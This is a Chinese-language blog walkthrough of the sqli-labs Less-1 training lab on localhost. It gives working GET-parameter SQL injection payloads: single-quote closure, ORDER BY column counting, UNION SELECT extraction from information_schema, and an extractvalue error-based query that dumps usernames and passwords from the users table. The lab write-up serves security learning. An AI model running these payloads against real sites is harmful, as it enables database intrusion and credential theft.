sqli-labs通關-------01lesson 單引號(get方式注入)

  • 判斷是否有注入點

1.1.實例遇到問題前提解決

根據頁面提示嘗試 http://127.0.0.1:90/sqli-labs/Less-1/?id=1 id=2 …….發現每次頁面都有不同數值,姑且判斷其具有注入點。畢竟這塊是找了個教程跟着走的。

https://blog.csdn.net/qq_41420747/article/details/81836327

https://blog.csdn.net/qq_41420747/article/details/81773481

發現不能回顯,打印出傳入的sql語句發現把我的單引號轉義了 導致sql語句執行錯誤。

所有用如下代碼查看一下是不是開啓了magic_quotes_gpc

//php 開起了特殊字符轉義

                   if (get_magic_quotes_gpc())

                   {

                            echo '<br>magic_quotes_gpc 開啓';

 

                   }else

                   {

                   echo '<br>magic_quotes_gpc 未開啓';

                   }

判斷開啓 那就關掉好了 打開php.ini文件 變成off就行了

重啓一下我們就發下終於報錯了,隱隱覺得寬字節注入吃掉轉義%27也可以,等到那個位置在看看

1.2.判斷是否有注入點的方式:

   1.21.啥叫sql注入呢

自己去百度吧。我覺得就是程序寫的不咋地,執行了用戶輸入的sql語句,還能以各種方式給返回報錯信息,表內容等。

   ?id=1  and 1=1   一般這樣頁面正常出來就可以疑似有注入點 疑似啊!!!

   ?id=1 and 1=2  頁面出錯了

   ?後面一遍跟url的參數根據實際情況來看。

   爲何上面判斷注入點呢,還有很多別的方式,各自去找找吧。下面看個sql語句

   Select * from user where id = 1 and 1=1/2

  當1=1的時候語句完全正常成立 當1=2語句不成立所以頁面會伴隨有所變化。

  

1.3.sql隱式轉換避坑

此處我覺得可以搞一波萬能密碼

https://www.cnblogs.com/rollenholt/p/5442825.html

https://www.jianshu.com/p/6f34e9708a80

1.4判斷表中有幾個字段

我們用order by 來判斷

爲啥要用order by?

因爲order by 能夠根據表中數據進行排序,有一種方式是根據字段序號(自己百度sql order by字段序號) 這樣我們能猜測出表中有幾個字段。

1.5 判斷字段

 http://127.0.0.1:90/sqli-labs/Less-1/?id=1’ and 1=2 union select 1,2,3 --+

使用引號閉合 通過Union select 判斷字段 及 爆數據庫名原理

爲啥要使union前面出錯呢?

我覺得就是就想看到一行,要不然就把select1,2,3不一定能顯出來,爲啥非要用 1,2,3呢因爲123好看能好好到顯錯位置,截圖中也有database()函數;

思考一下問題:

 --+: 一開始並沒有搞懂--+是啥玩意,後來實驗以幾下搞懂了。

     --是sql語句的註釋,那+優勢啥玩意 解釋一下 +通過url當做參數傳遞的時候會變成空格所以當只用—時因爲缺少一個引號閉合的問題sql語句會報錯

如下:

當我們使用--+的時候語句正常仔細看網頁會發現—後面有個空格而上個那個沒有

如果我們想傳+怎麼辦,凡是需要傳+的地方就用%2B

 

1.6根據以上操作來進行爆庫名

通過以下操作我們看到庫名就已經出來了

下面嘗試爆表名

http://127.0.0.1:90/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

我們通過數據庫操作解釋一下這句話

我們看看msyql數據庫裏面都有啥

Security是我們實驗用的數據庫

information_schema 數據庫跟 performance_schema 一樣,都是 MySQL 自帶的信息數據庫。其中 performance_schema 用於性能分析,而 information_schema 用於存儲數據庫元數據(關於數據的數據),例如數據庫名、表名、列的數據類型、訪問權限等。

我們進information_schema裏面看看

Table_name字段存儲了mysql的表名table_schema存放了數據庫名稱

group_concat 是用來連接的,so 表名稱就是這樣出來的。

既然表名都盤出來了 那幾繼續盤它的字段名吧;

http://127.0.0.1:90/sqli-labs/Less-1/?id=1 'and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users'--+

我們用教程的例子會發現一大坨字段 因爲我自己的本地數據庫有很多表叫user所以裏面也就會有很多字段,這樣無法分辨。

我們在加上一個過濾條件

也就是這句 限定他的數據庫

http://127.0.0.1:90/sqli-labs/Less-1/?id=1 'and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users' and table_schema='security'--+

 

根據教程我們爆出兩個值

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

Extractvalue我們解釋一波:

extractvalue()和updatexml()報錯注入

Update失敗了

http://www.moonsec.com/post-314.html 可以看看

 

但是我們也得自己吃吃肉啊,

http://127.0.0.1:90/sqli-labs/Less-1/?id=1' and 1=2 union select 1,username,password from%20users limit 1,1--+

我們就可以通過limit字段進行搞挨個字段了

到此有些人可能不太懂limit ,看看下面自己去悟吧

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章